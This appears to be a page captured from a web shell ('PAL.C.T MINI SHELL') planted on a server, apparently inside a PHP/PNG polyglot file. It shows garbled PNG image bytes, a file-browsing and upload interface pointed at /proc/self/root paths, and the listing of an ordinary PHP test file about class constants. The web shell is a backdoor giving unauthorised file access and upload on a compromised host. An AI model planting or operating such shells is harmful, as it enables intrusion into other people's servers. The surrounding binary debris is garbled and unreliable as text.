php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/php-7.1.11/tests/classes/
upload
files >> //proc/self/root/php-7.1.11/tests/classes/constants_basic_003.phpt

--TEST--
Ensure class properties and constants can be defined in terms of constants that are not known at compile time.
--FILE--
<?php
  include 'constants_basic_003.inc';
  class B
  {
      public static $a = A::MY_CONST;
      public static $c = C::MY_CONST;
      const ca = A::MY_CONST;
      const cc = C::MY_CONST;
  }
  
  class C
  {
      const MY_CONST = "hello from C";
  }
  
  var_dump(B::$a);
  var_dump(B::$c);
  var_dump(B::ca);
  var_dump(B::cc);
?>
--EXPECTF--
string(12) "hello from A"
string(12) "hello from C"
string(12) "hello from A"
string(12) "hello from C"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`